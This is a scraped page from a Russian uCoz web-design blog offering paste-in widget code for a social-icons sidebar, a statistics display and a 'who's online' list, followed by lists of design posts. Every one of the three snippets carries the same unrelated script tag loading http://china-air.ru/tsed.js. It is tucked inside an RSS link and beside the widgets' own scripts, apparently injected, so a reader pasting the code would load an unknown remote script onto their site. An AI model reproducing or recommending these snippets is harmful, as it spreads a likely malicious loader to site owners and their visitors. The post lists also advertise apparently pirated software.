  <div style="font:7pt" align="left"><a href="$FORUM_URL$"> [$FORUM$]</a></div></li><hr>

Код информера ставите на страницах сайта в нужном Вам месте.

Оригинальная боковая панелька



Описание: На всех страницах находим код:

<div id="rt-maintop"> <div class="clear"></div> </div> <div id="rt-main" class="sa4-mb8"> <div class="rt-grid-8 rt-push-4"> <!-- <body> -->$CONTENT$<!-- </body> --> </div> <div class="rt-grid-4 rt-pull-8"> <div id="rt-sidebar-a">

И перед ним ставим:

<div class="bg-icons"> <a href="ВАША ССЫЛКА на RSS"target="_blank" title="RSS подписка" class="rss-ic"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></a> <a href="ВАША ССЫЛКА в контакте"target="_blank" title="Я Vkontakte" class="twi-ic"></a> <a href="ВАША ССЫЛКА" в мире"target="_blank" title="Я в Мире" class="flcr-ic"></a> </div>

В css в самый низ ставим:

.bg-icons { background: url(http://scriptoza.my1.ru/images/bg-icons.png); height: 216px; width: 53px; position: absolute; top: 470px; margin-left: 960px; } a.rss-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px 0px; height: 56px; width: 50px; position: absolute; top: 24px; display:block; } a.twi-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px -56px; height: 58px; width: 50px; position: absolute; top: 82px; left: 0px; display:block; } a.flcr-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px -114px; height: 48px; width: 50px; position: absolute; top: 140px; left: 0px; display:block; } a.rss-ic:hover {background-position: 0px 0px;} a.twi-ic:hover {background-position: 0px -56px;} a.flcr-ic:hover {background-position: 0px -114px;}

Новый вид соотношения гостей и пользователей



Цвет линии зелёный, думаю для светлых дизайнов будет как раз.
Установка:

1) В блок со статистикой ставим в любое место это:

<div id="Statku"></div>

2) Ниже этого ставим:

<script type="text/javascript" src="http://bambun.ru/css_js/statistika.js"></script><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><link type="text/css" rel="StyleSheet" href="http://bambun.ru/css_js/statistika.css">

Новый вид кто онлайн для ucoz



Описание: Новый симпотный вид кто онлайн для ucoz
Установка:
Ставим в блок куда вам надо данный ниже код:

<div style="margin:-5px; margin-top:5px; padding:0px; border-top:1px solid #ccc; background:#f3f3f3; max-height:160px; overflow:auto; overflow-x:hidden;" id="userList">  
  <div style="clear:both"></div>  
  </div><script type="text/javascript">  
  $.get('/index/62',function(e){ fuu = $('cmd[p="content"]',e).text();  
  $('a',fuu).each(function(i){  
  $('#userList').prepend('<div style="margin-top:6px; margin-bottom:-16px; padding-right:6px;" align="right"><img style="margin-right:5px; cursor:pointer" onclick="alert(\'Разрабатываем!\');" src="http://bambun.ru/images/pmver2.gif" border="0" /><img style="cursor:pointer" onclick="alert(\'Разрабатываем!\');" src="http://bambun.ru/images/12.gif" border="0" /></div><a class="userList '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a><div style="clear:both"></div>');  
  });  
  });  
  </script><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><style>  
  a.userList:link, a.userList:visited, a.userList:active {display:block; text-decoration:none; border-top:1px solid #ccc; margin-top:-1px; background:#f5f3f3; padding:5px 5px;}  
  a.userList:hover {text-decoration:none; background:#fff;}  
  </style>



[02.04.2019][DesiGn bLOg]
Как узнать - ты дизайнер или нет? (0)
[09.12.2015][Lessons PHOTOSHOP]
Рисуем анимацию в Photoshop и After Effects (2015) (0)
[12.02.2015][DesiGN SofT]
The Logo Creator 6.6 Final (0)
[23.10.2010][rastER KLipardy]
Косметика в HQ (0)
[03.12.2014][Lessons PHOTOSHOP]
Панорамная Фаст-моушен съемка своими руками (0)
[12.02.2015][video futage]
Broadcast Shapes Package - Project for After Effects (Videohive) (0)
[03.12.2014][Photoshop Actions]
50 Photoshop Action Scripts (0)
[16.12.2015][Lessons PHOTOSHOP]
Видеокурс photoshop Retouch Man (2015) (0)
[12.02.2015][DesiGN SofT]
Room Arranger 7.5.0.421 (2014) Rus/Eng (0)
[03.12.2014][Lessons PHOTOSHOP]
Видеоуроки photoshop Выборочная коррекция (2014) (0)
[06.12.2015][Lessons PHOTOSHOP]
Видеокурс Предметная съемка 2.0 (2015) (0)
[21.10.2015][Lessons PHOTOSHOP]
Видеокурс photoshop Art Wedding (0)
[12.02.2015][DesiGN SofT]
PT Photo Editor 1.7.1 Standard Edition Rus Portable by SamDel (0)
[12.02.2015][video futage]
Quicky Logo - Project for After Effects (0)
[12.02.2015][video futage]
Deep Eyes | 7 in 1 logo pack - Project for After Effects (Videohive) (0)
[12.02.2015][DesiGN SofT]
HyperSnap 7.29.02 + Portable (0)
[12.02.2015][DesiGN SofT]
Photomizer Retro 2.0.14.106 Portable by Valx (0)
[03.12.2014][Lessons PHOTOSHOP]
Видеокурс удаление объектов в фотошопе (0)
[04.12.2015][Lessons PHOTOSHOP]
Tuts+ Premium - Creative Photo Effects in Adobe Photoshop (2015) (0)
[06.12.2015][Lessons PHOTOSHOP]
Видеокурс по съемке и обработке цифровых фотографий (2015) (0)
 

Прикрепления:
Категория: Veb DeSiGn | Просмотров: 906 | Добавил: budyvmaster | Теги: гаджеты UCOZ, Информеры, Веб дизайн, ucoz
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Поиск







Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Яндекс цитирования
Rambler's Top100




[31.05.2010][Lessons PHOTOSHOP]
Создание кистей для рисования волос, меха, бород, комп.графика (7)
[11.06.2010][Lessons PHOTOSHOP]
Трехмерная надпись (8)
[17.06.2010][Lessons PHOTOSHOP]
Текст охваченный огнём, Stunning Text on Wild Fire Effect (6)
[03.12.2015][DesiGN SofT]
Sentaurus TCAD 2012 SP2 G-2012.06 SP2 на VMWare (1)
[29.05.2010][Lessons PHOTOSHOP]
Ночной город, спецэффект (2)
[13.02.2015][video futage]
VideoHive - Futuristic Logo Reveal 8351362 (0)
[12.02.2015][video futage]
Dark Circles Logo Reveal - Project for After Effects (Videohive) (0)
[03.12.2014][Lessons PHOTOSHOP]
Видеоуроки фотошоп Композиция Шубека (0)
[30.12.2012][DesiGn bLOg]
Маленькой ёлочке холодно зимой! (0)
[24.01.2013][vectOR KLipardy]
Black Vintage Cards Vector 2 (0)
[01.09.2013][vectOR KLipardy]
Stock: Website Template (0)
[29.05.2010][Lessons PHOTOSHOP]
судорга (абстракционная фантазия) (4)
[13.12.2015][Lessons PHOTOSHOP]
Вырезание объемных предметов в фотошоп (2015) (1)
[29.05.2010][rastER KLipardy]
Stock Photo: Drops, Splashes (1)
[29.05.2010][Lessons PHOTOSHOP]
Металлические трубки и провода (2)
[10.09.2011][Veb DeSiGn]
Template Monster – 11925 – Flash Template (0)
[30.12.2012][DesiGn bLOg]
Кофейные фантазии by Tomoko Shintani (0)
[09.11.2010][Styles Photoshop]
Более 150-ти стилей WEB 2.0 (1)
Четверг
25.04.2024
23:53


Copyright artpost and semantic product zanchi 2010-2011 © 2024